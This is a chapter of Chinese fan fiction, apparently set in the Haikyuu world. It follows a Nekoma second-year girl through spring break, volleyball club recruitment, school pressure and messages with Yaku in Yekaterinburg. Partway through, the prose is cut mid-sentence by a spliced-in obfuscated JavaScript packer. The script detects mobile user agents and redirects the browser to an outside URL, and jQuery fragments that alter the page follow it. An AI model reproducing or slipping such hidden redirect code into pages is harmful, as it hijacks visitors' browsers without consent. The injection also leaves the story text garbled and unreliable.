三月份到四月份的春假,这一整个假期我几乎都没怎么出过门,一直在家闷着,但真要说起来其实也算得上充实。
我买了平板,对着网上的资料提前预习了下学期的课程的同时,还继续更深入地学习了音乐相关的各种知识。
因为将目标定在了全国最好的音乐大学上,所以我专门了解了一下大学的入学考核,再将其中的内容整理成接下来的学习计划,准备尽力努力一下,看看最后能不能考上东京艺术大学。
而除了学业之外……我还因为私心,在学习计划里面额外加上了有关于英语的学习和口语化练习、还有一点俄语。
我想在出国后可以和外国人正常地交流、沟通,不因语言方面的原因而受到掣肘。在这方面,摆在与外国人交流前的首先便是从小到大学的错误口音。
了解过后,终于日式英文对交流的影响究竟有多深,我于是颇为凝重地把调整口音这事先提上日程,在网上找了外教。
看介绍说是在日本留学的外国学生,英语的口语很标准……标准到感觉不像母语是英文的外国人。从对方线条柔和的东亚面孔来看,猜测也许是隔壁大国的留学生。
总之,一切学习计划都在有条不紊地进行当中。
直到四月份时,新的学年开始。
音驹每个学年都会将全年级的学生打乱再重新分班,我一年级时跟灰羽分到了同一个班,但分班后,我们没有再次分到一起、我也没跟排球部的其他人分到同一个班。
整个班大部分都是陌生的人,仅有零星几个是认识的、之前一年级时的同学。我对此倒是没什么感觉,等二年级的课本发下来、新的班主任老师自我介绍完宣布解散后,便率先离开去了排球部参加招新。
新生入学典礼后紧随而来的社团纳新,大概是每年除体育祭和文化祭之外校内最热闹的日子,社团的前辈们都热血朝天地宣传自己所处的社团,想方设法地试图招揽新生加入其中——毕竟新人本身就意味着接下来社团的希望,人多了、社团才好更好地发展下去。
已经成为部长的山本前辈非常认可这个理念,他握拳道:“为了排球部的新鲜血液,大家都要努力招新!!争取多招几个人加入排球部!”
眼睁睁看着他热血沸腾地拉过其他人,开始叮嘱大家招人的时候要逮着所有有可能的人推荐排球部、不能因为是陌生人而退缩,我默了默,多少有点心情微妙地转头,看向因性格原因而和我一样从头便被他排除在外的研磨前辈。
我想了想,犹豫着问:“血液论……不是黑尾前辈发明出来的吗?”
被血液传输养分的大脑很快领会到我的意思,他无言地沉默良久,而后幽幽道:“我也想知道这套理论为什么现在还存在。”
——小黑到底为什么毕业了还非得留下点什么东西在排球部啊,这对他有什么好处吗??
我琢磨了一会儿,诚恳道:“我觉得它还会再存在个几年的。”
至少灰羽和犬冈在的话,这个口号就能一直延续下去,要是新生也有几个热血性格的话,我估计这个延续的时间还能再加两年。
毕竟作为防守型的队伍,虽然口号最初是根据研磨前辈的情况量身定做的,但它也的确可以继续适配接下来会因为时间经历大换血的音驹的。
精准的、稳妥的、丝毫不差的一传。这就是血液所运送的氧分。
但研磨前辈闻言幽幽盯了我一会儿,半晌,真心实意道:“我觉得这不是一个好消息。”
——但这是事实。我试图用眼神传递这个意思。
研磨拒绝接受现实。他面不改色地沉默移开视线,假装什么也没领会到。
#
今年的排球部招收到的新生算不上少,但也称不上很多,部员比我们当初这一届多一个,经理则少一个——也就是没有招收到经理的意思。
这倒也不奇怪,会选择来运动社团当经理的人不管怎么说都是少数,没有经理其实才是常态。
山本:“所以说乌野和枭谷他们当时就是走狗屎运了啊!两个!足足两个!”
犬冈路过好心安慰,“没事啊山本前辈,他们现在都只有一个了。”
所熟识的几所学校的经理中,三年级的清水学姐、白福学姐和大泷学姐都已经毕业了,甚至现在森然他们都没有经理了。
毕竟整个枭谷联盟、再加上乌野,今年都没招到新的经理。
山本前辈沉思两秒,好了:“有道理啊!我们还是最强的!”
“……?”研磨迷惑,“强在哪里?”不都只有一个经理?
山本双手环胸表情严肃:“他们可没有拉拉队和拉拉队队长,还是我们赢了。”
“……”研磨无言,“行。”
“而且小茜之前有说过高中要来音驹。”山本前辈想了想,又道,“到时候我们就有两个经理了。”
虽然他那会儿已经毕业了,但音驹有两个经理就是他有两个经理,差不多的。
他如此自信地想。
#
总之,高二的生活和原先大体上依旧没什么区别,大家还是吵吵闹闹热热闹闹的样子,我对此适应良好。
不过除此之外……还是有点区别的吧。
时间与经历带给我的改变的确很大,一年前的我大概想不到,一年之后的自己已经慢慢成长为了一个姑且还算合格的“前辈”角色,之前有不小心听到过几个新生私底下讨论的关于排球部日常靠谱程度的排行榜,我出人意料地得了第一的位置。
……也许是因为我平时不怎么参与他们之间的打闹?像之前三年级的前辈们那样,虽然大家真要说起来都是关键时候能抗事的、靠谱的人,但通常情况下大家的确会觉得海前辈会更沉稳一点。
毕竟夜久前辈和黑尾前辈很多时候都没什么前辈架子,经常性的拌嘴打闹虽然不会减免大家对他们的信任程度,但下意识肯定是会觉得更沉稳的海前辈要靠谱一点。
总归还是形象问题,毕竟灰羽和犬冈就荣据榜末了。
除去排球部的一系列我经历一次后已经足够有经验而熟门熟路的工作、以及进展顺利的人际关系之外,我在音乐方面的学习计划也没有因为开学而被耽搁。
一切稳步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309468|198759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进行……不过说来惭愧,在其他地方用了更多精力之后,学校本身的成绩反而掉了一点。
虽然还是能维持在前十……不过还是因此被老师找去谈过几次,说什么对我很有信心、之后肯定能考一个很不错的大学,所以建议我现在还是专注学业之类的。
班主任甚至还颇为凝重地打探过我的感情状态,隐晦地劝我不要为了无谓的感情放弃更加重要的东西,比如考一个好大学谋一个好前途。
我多少有点无奈而哭笑不得的感觉,但在老师面前还是没解释什么,只是乖乖地一一应下,说自己感情状态稳定、保证之后会继续保持原本的成绩,而后被半信半疑的老师放走。
那时候第一学期已经过去大半了,五六月份的东京已经彻底褪去了初春时混杂的那点冷意,明媚的阳光透过窗沿洒在身上,带来点叫人贪恋的暖意。
我顺着阳光的方向朝外看去,望见正安安静静地舒展着新生枝条的樱花树。
一个月前它还绽着漂亮的樱粉色小花、将音驹连成一片柔软而灿烂的樱粉色花海,但一个月后的现在,渡过花期的花朵早早便落在地上、嵌进泥里,粉色在这数天中早早地消失殆尽,但取而代之的,却是鲜亮浓绿的、饱含生机的新生枝条与叶片。
我瞧着它,不自觉想起两三个月前,同夜久前辈一起去新宿看的那片早樱。
记忆依旧鲜艳而鲜明,我轻而易举地想起那时拂过脸颊的微风、想起漫在空气中那点细微的樱花香、想起落在发间的浅粉色花瓣、想起我和他在樱花树下交换的那几个吻。
我低头看眼亮起的手机屏幕。他所在的叶卡捷琳堡的时间比东京要快上四个小时,我这差不多四点出头,阳光不再猛烈,再过几个小时就将沉入远处的地平线,转而迎来漂亮的夕阳;他那却正午刚过十来分钟,虽说俄罗斯气温偏低,但也是一天中最为温暖的时候。
我看过他的训练表,他们中午有两个小时的休息时间,午饭、午休加在一起,虽然夜久前辈习惯性加练,但这个时间刚好差不多卡在休息时间的正中,他要么准备吃饭、要么正在吃饭、要么已经吃完饭准备休息,反正这会儿肯定有空。
我于是点开同夜久前辈的聊天框,刚准备打点什么消息过去,便看到他十来分钟前给我发的照片。
是叶卡捷琳堡街道边的绿植,那边天气很好,阳光明媚而灿烂,洒在青绿色叶片上能在叶片边缘染上点漂亮的金芒,画面没什么太讲究的构图,大概是随手一拍的产物,但蓬勃的生命力也依旧能透过画面传到我这边来。
【Yaku:回家了回家了】
【Yaku:是上次跟你说过的那家咖啡厅外面的!长得真好啊】
【Yaku:什么时候有时间了我也在公寓里养点绿萝多肉什么的吧】
我盯着屏幕看了很久,半晌,才轻轻抿了抿唇,没回答他的话,而是犹豫两秒,手指在屏幕上按了几下。
【游:我想你了】
消息很快显示已读。
过了一会儿,捏在手里的手机也轻轻地震动了一下。
【Yaku:我也是】